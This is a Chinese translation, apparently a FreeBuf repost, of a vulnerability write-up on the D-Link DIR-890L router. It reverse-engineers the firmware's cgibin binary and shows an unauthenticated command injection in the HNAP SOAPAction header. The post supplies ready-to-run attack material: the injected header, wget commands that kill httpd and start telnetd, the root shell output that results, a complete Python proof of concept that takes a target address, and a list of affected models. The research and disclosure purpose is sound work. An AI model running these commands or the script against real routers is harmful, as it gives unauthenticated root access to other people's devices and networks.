D-Link DIR-890L路由器,300美金

由于过去的6个月比较忙,没有跟进D-Link最新的“诡计”。为了寻求一些乐趣,于是到了他们的主页上,就看到了这样的一幕:

我认为这种路由器最”insane”(疯狂)的一点就是它运行包含数年来已经被揭露的相同bug的固件,而且这种攻击也一直在持续。然后,我就开始了对它的探索之旅……

OK,首先我们像通常那样先获取最新发布的固件,用binwalk来获取一些基本信息:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0              0x0           DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116           0x74           LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124       0x1C0074       PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156       0x1C0094       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37

看到没,这是非常标准的Linux固件镜像,如果你曾经留意过过去几年来任意一款D-Link固件的话,你也许会认出主目录的结构:

$ ls squashfs-root
bin  dev  etc  home  htdocs  include lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

有趣的htdocs/cgibin文件

所有的HTTP/UPnP/HNAP文件都位于htdocs目录下,其中最有趣的文件是htdocs/cgibin。

一般ARM ELF二进制文件是用来支持web服务器,与CGI、UPnP及HNAP相关的URLs也被链接到了这种二进制文件中:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

也许在分析的时候会遇到一些麻烦,但是很多有用的字符串会给我们带来很多帮助。第一件main所做的事情就是拿argv[0]和所有已知的符号链(captcha.cgi,conntrack.cgi等)相比较,来决定接下来该采取什么处理操作:

“Staircase” code graph, typical of if-else statements

这些都是用strcmp函数来对那些符号链接名进行比较:

Function handlers for various symlinks

这些都使得关联函数句柄和相应的符号链接名以及合适地重命名函数名更加容易一些:

Renamed symlink function handlers

现在我们已经标示了一些高级的函数,然后就一起来寻找那些bug吧。其它的一些本质上运行相同固件的D-Link设备之前都已经通过它们的HTTPUPnP接口进行了相关的漏洞利用。但是,这个在cgibin中被hnap_main操作的HNAP接口,看起来好像经常被忽略掉了。

HNAP协议

HNAP(Home Network Administration Protocol,家庭网络管理协议)是一种基于SOAP(Simple Object Access Protocol,简单对象管理协议)的协议,和UPnP很像,通常被D-Link的”EZ”设置程序用来初始化设置路由器。和UPnP不一样的是,除了GetDeviceInfo(基本上没用)外所有的HNAP操作都要求进行HTTP基本认证:

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
 
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

这个SOAPAction头在HNAP请求中是极为重要的,因为它指明了HNAP将会采取什么样的操作(在上面的例子中是AddPortMapping)。

由于cgibin是被web服务器作为CGI来执行,hnap_main通过环境变量来访问HNAP请求数据,比如SOAPAction头部。

SOAPAction = getenv(“HTTP_SOAPACTION”);

在hnap_main的结尾处有一个通过system来执行的shell命令,这个命令是由sprintf动态链接产生的:

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

很明显,hnap_main是使用来自SOAPAction头的数据作为system命令的一部分!这是一个潜在的命令注入bug,如果SOAPAction头部的内容没有被“消毒“的话,我们可能在没有认证的情况下就能进入到代码区。

回到hnap_main的开头,可以看到,开始检测内容中的一项就是看SOAPAction头是否等于字符串http://purenetworks.com/HNAP1/GetDeviceSettings;如果是的话,就跳过检测。这也就是说,我们在未认证的情况下,执行了GetDeviceSettings操作:

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

然而,注意到strstr被用于这个个检测,这就说明这个SOAPAction头部包含字符串”http://purenetworks.com/HNAP1/GetDeviceSettings “,而不是头部等于那个字符串。所以,如果SOAPAction头部包含有字符串http://purenetworks.com/HNAP1/GetDeviceSettings,这个代码就去从头部解析操作名称(比如,GetDeviceSettings)并且会移除任何后面的引号:

SOAPAction = strrchr(SOAPAction, ‘/’);

通过上面的代码解析出来的操作名(比如,GetDeviceSettings)是被输出到由system执行的命令字符串中。

这里有这部分的C代码,上述逻辑中的缺陷存在第5、11、29、30行:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
 
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}
 
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;
 
    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    }
}
else
{
    goto failure_condition;
}
 
/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

这里可以得到两个要点:

1. 如果在SOAPaction头部包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings的话,就没有了认证检测;
2. 被传递到sprintf(最终是system)的字符串是SOAPAction头部最后一个前斜线后面的所有内容。
因此,我们可以很容易地格式化一个SOAPAction头部来同时满足没有认证检测,同时允许我们传递任意字符串给system:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

这个部分–http://purenetworks.com/HNAP1/GetDeviceSettings满足率没有认证检测,同时reboot字符串被传递给了system:

system("sh /var/run/`reboot`.sh > /dev/console");

如果把reboot替换为telnetd,这将会使得远程的服务器提供一个未经认证的root shell:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
 
 
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
 
#

如果远程管理功能被启用的话,HNAP请求就可以通过WAN使远程漏洞利用成为现实。当然,路由器的防火墙也许会阻止那些从WAN过来的telnet连接;一种简单的解决方式就是关掉HTTP服务,把telnet服务植入到HTTP所使用的端口上:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
 
 
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
 
#

注意到这个wget请求将无法顺利执行,因为cgibin在等待telnetd返回。一段Python PoC就能解决这个问题:

#!/usr/bin/env python
 
import sys
import urllib2
import httplib
 
try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]
 
    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }
 
req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

我已经检测过v1.00和v1.03的固件(v1.03在写这篇文章时是最新版的),这两个版本都是有漏洞的。就像其它的嵌入式设备的漏洞一样,这段代码也潜在地可以用与其他的设备。

分析所有的固件是很让人烦的,所有我把这个bug交给了我们工作的团队,那里有一个不错的自动化分析系统,可以用于解决这种问题。

存在漏洞的设备

DAP-1522 revB
DAP-1650 revB
DIR-880L
DIR-865L
DIR-860L revA
DIR-860L revB
DIR-815 revB
DIR-300 revB
DIR-600 revB
DIR-645
TEW-751DR
TEW-733GR

据我所知,无法在这些设备上关闭HNAP功能。

补充

在今年早些时候,Samuel Huntly就发现了相同的bug,但是仅仅报告并为DIR-645这一款路由器制作了补丁。但是这个补丁很差劲,所以期望不久会有新的发展。

* 消息来源:原文,作者/0XFFFF,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...